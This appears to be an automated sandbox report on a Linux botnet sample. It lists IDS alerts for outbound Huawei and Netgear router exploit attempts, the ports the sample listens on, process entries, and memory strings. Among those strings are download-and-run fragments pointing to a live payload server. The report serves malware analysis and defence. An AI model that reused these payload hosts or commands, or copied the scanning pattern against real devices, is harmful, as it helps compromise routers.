Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:47704 -> 197.193.250.58:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58310 -> 103.43.8.124:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39826 -> 197.196.153.71:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58430 -> 197.199.56.254:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:37348 -> 41.153.126.106:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:33702 -> 34.110.252.200:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44558 -> 197.193.176.28:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:40284 -> 197.194.35.16:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:55196 -> 197.39.11.116:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:44588 -> 41.153.134.114:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:48450 -> 197.192.96.233:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39964 -> 197.192.228.209:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:39900 -> 197.192.40.74:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:36814 -> 197.196.220.237:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:54312 -> 197.192.90.119:37215
Source: Traffic	Snort IDS: 2029215 ET EXPLOIT Netgear DGN1000/DGN2200 Unauthenticated Command Execution Outbound 192.168.2.23:51510 -> 52.48.46.49:80
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:58460 -> 197.199.69.247:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:34364 -> 197.195.4.138:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:53986 -> 197.195.50.39:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:57540 -> 197.193.173.34:37215
Source: Traffic	Snort IDS: 2835222 ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) 192.168.2.23:42952 -> 197.195.28.14:37215

Source: global traffic	TCP traffic: 49.49.52.46 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 49.54.53.46 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 49.57.49.46 ports 8080,2,5,6,8,80,9,37215,52869
Source: global traffic	TCP traffic: 50.50.56.46 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 49.56.55.46 ports 8080,0,8,80,37215,52869
Source: global traffic	TCP traffic: 57.56.46.49 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 51.55.46.49 ports 0,8,80,81,52869,49152
Source: global traffic	TCP traffic: 49.56.57.46 ports 7574,8080,0,8,80,5555,81,37215,52869
Source: global traffic	TCP traffic: 49.48.53.46 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 55.56.46.57 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 49.51.56.46 ports 8080,2,5,6,8,80,9,37215,52869
Source: global traffic	TCP traffic: 49.56.56.46 ports 8080,2,5,6,8,80,9,52869
Source: global traffic	TCP traffic: 57.49.46.53 ports 8080,2,5,6,8,80,9,52869

Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::80	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::1337	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::1312	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::3778	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::59666	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::9375	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::54321	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::1234	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::606	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::9506	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::23552	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::5683	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::430	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::1111	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::1024	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::1791	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::5555	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::45	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::9931	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::61002	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::9521	Jump to behavior
Source: /tmp/log21.x86_64.elf (PID: 6224)	Socket: 0.0.0.0::443	Jump to behavior

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.43
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.43.161.46
Source: unknown	TCP traffic detected without corresponding DNS query: 197.36.41.45
Source: unknown	TCP traffic detected without corresponding DNS query: 157.139.151.70
Source: unknown	TCP traffic detected without corresponding DNS query: 41.165.225.231
Source: unknown	TCP traffic detected without corresponding DNS query: 41.218.170.2
Source: unknown	TCP traffic detected without corresponding DNS query: 41.104.177.250
Source: unknown	TCP traffic detected without corresponding DNS query: 197.246.236.133
Source: unknown	TCP traffic detected without corresponding DNS query: 157.159.163.19
Source: unknown	TCP traffic detected without corresponding DNS query: 86.24.111.197
Source: unknown	TCP traffic detected without corresponding DNS query: 41.200.55.202
Source: unknown	TCP traffic detected without corresponding DNS query: 197.137.199.163
Source: unknown	TCP traffic detected without corresponding DNS query: 41.216.74.76
Source: unknown	TCP traffic detected without corresponding DNS query: 74.54.103.63
Source: unknown	TCP traffic detected without corresponding DNS query: 177.194.28.76
Source: unknown	TCP traffic detected without corresponding DNS query: 197.178.186.56
Source: unknown	TCP traffic detected without corresponding DNS query: 157.48.48.6
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.214.128
Source: unknown	TCP traffic detected without corresponding DNS query: 197.247.178.106
Source: unknown	TCP traffic detected without corresponding DNS query: 157.85.89.137
Source: unknown	TCP traffic detected without corresponding DNS query: 197.61.188.193
Source: unknown	TCP traffic detected without corresponding DNS query: 197.40.146.216
Source: unknown	TCP traffic detected without corresponding DNS query: 197.54.239.60
Source: unknown	TCP traffic detected without corresponding DNS query: 197.226.87.170
Source: unknown	TCP traffic detected without corresponding DNS query: 79.207.30.122
Source: unknown	TCP traffic detected without corresponding DNS query: 41.51.85.142
Source: unknown	TCP traffic detected without corresponding DNS query: 197.13.174.196
Source: unknown	TCP traffic detected without corresponding DNS query: 68.32.18.247
Source: unknown	TCP traffic detected without corresponding DNS query: 40.54.55.23
Source: unknown	TCP traffic detected without corresponding DNS query: 105.192.205.224
Source: unknown	TCP traffic detected without corresponding DNS query: 197.66.230.221
Source: unknown	TCP traffic detected without corresponding DNS query: 197.172.92.23
Source: unknown	TCP traffic detected without corresponding DNS query: 41.115.162.63
Source: unknown	TCP traffic detected without corresponding DNS query: 27.234.60.159
Source: unknown	TCP traffic detected without corresponding DNS query: 173.63.63.144
Source: unknown	TCP traffic detected without corresponding DNS query: 41.231.236.33
Source: unknown	TCP traffic detected without corresponding DNS query: 157.219.43.230
Source: unknown	TCP traffic detected without corresponding DNS query: 41.36.143.214
Source: unknown	TCP traffic detected without corresponding DNS query: 157.158.204.177
Source: unknown	TCP traffic detected without corresponding DNS query: 41.48.29.101
Source: unknown	TCP traffic detected without corresponding DNS query: 157.124.109.12
Source: unknown	TCP traffic detected without corresponding DNS query: 41.88.155.66
Source: unknown	TCP traffic detected without corresponding DNS query: 64.190.194.97
Source: unknown	TCP traffic detected without corresponding DNS query: 197.186.250.100
Source: unknown	TCP traffic detected without corresponding DNS query: 197.75.202.235
Source: unknown	TCP traffic detected without corresponding DNS query: 41.68.85.47
Source: unknown	TCP traffic detected without corresponding DNS query: 197.106.246.203
Source: unknown	TCP traffic detected without corresponding DNS query: 197.164.66.20
Source: unknown	TCP traffic detected without corresponding DNS query: 197.225.255.226

Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Sun, 12 Feb 2023 20:24:58 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: awselb/2.0Date: Sun, 12 Feb 2023 20:25:05 GMTContent-Type: text/htmlContent-Length: 118Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sun, 12 Feb 2023 20:25:08 GMTContent-Type: text/html; charset=utf-8Content-Length: 148Connection: closeServer: nginx/1.20.0X-Powered-By: ExpressAccess-Control-Allow-Origin: *Content-Security-Policy: default-src 'none'X-Content-Type-Options: nosniffData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 72 72 6f 72 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 3c 70 72 65 3e 43 61 6e 6e 6f 74 20 47 45 54 20 2f 73 65 74 75 70 2e 63 67 69 3c 2f 70 72 65 3e 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE html><html lang="en"><head><meta charset="utf-8"><title>Error</title></head><body><pre>Cannot GET /setup.cgi</pre></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=iso-8859-1Date: Sun, 12 Feb 2023 20:26:18 GMTServer: ApacheContent-Length: 196Connection: CloseData Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html>

Source: log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://113.30.191.198/diag00/log21.mips
Source: log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://113.30.191.198/miniupd.sh
Source: log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://113.30.191.198/miniupd.sh;
Source: log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://113.30.191.198/miniupd.sh;$
Source: log21.x86_64.elf, 6217.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6224.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6231.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6232.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6233.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6234.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6235.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6236.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6237.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6238.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6239.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6240.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6241.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6242.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6243.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6244.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6245.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6246.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6247.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6248.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6249.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://113.30.191.198/miniupd.sh;chmod$
Source: log21.x86_64.elf, 6217.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6224.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6231.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6232.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6233.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6234.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6235.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6236.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6237.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6238.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6239.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6240.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6241.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6242.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6243.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6244.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6245.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6246.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6247.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6248.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6249.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://113.30.191.198/miniupd.sh;sh
Source: log21.x86_64.elf, 6217.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6224.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6231.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6232.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6233.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6234.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6235.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6236.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6237.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6238.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6239.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6240.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6241.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6242.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6243.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6244.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6245.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6246.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6247.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6248.1.0000000000400000.000000000041b000.r-x.sdmp, log21.x86_64.elf, 6249.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://purenetworks.com/HNAP1/
Source: log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/encoding/
Source: log21.x86_64.elf, 7483.1.0000000000400000.000000000041b000.r-x.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/soap/envelope/
Source: log21.x86_64.elf	String found in binary or memory: http://upx.sf.net

Start time:	21:24:30
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	/tmp/log21.x86_64.elf
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:31
Start date:	12/02/2023
Path:	/bin/sh
Arguments:	n/a
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Start time:	21:24:32
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:33
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:34
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:35
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:36
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:37
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:38
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:39
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:40
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:41
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:42
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:43
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Linux Analysis Report log21.x86_64.elf

Overview

General Information

Detection

Signatures

Classification

Analysis Advice

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Initial Sample

Memory Dumps

Snort Signatures

Joe Sandbox Signatures

AV Detection

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Program Segments

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

DNS Queries

System Behavior

Analysis Process: log21.x86_64.elf PID: 6217, Parent PID: 6123

General

Chronological Activities

Analysis Process: log21.x86_64.elf PID: 6218, Parent PID: 6217

General

Chronological Activities

Analysis Process: sh PID: 6218, Parent PID: 6217

General

Chronological Activities

Analysis Process: sh PID: 6219, Parent PID: 6218

General

Chronological Activities

Analysis Process: rm PID: 6219, Parent PID: 6218

General

Chronological Activities

Analysis Process: sh PID: 6220, Parent PID: 6218

General

Chronological Activities

Linux Analysis Report
log21.x86_64.elf

Start time:	21:24:44
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:45
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:46
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:47
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:48
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:49
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:50
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:51
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:52
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092

Start time:	21:24:53
Start date:	12/02/2023
Path:	/tmp/log21.x86_64.elf
Arguments:	n/a
File size:	43856 bytes
MD5 hash:	f9fa0971b974a9397558d3e9c02dd092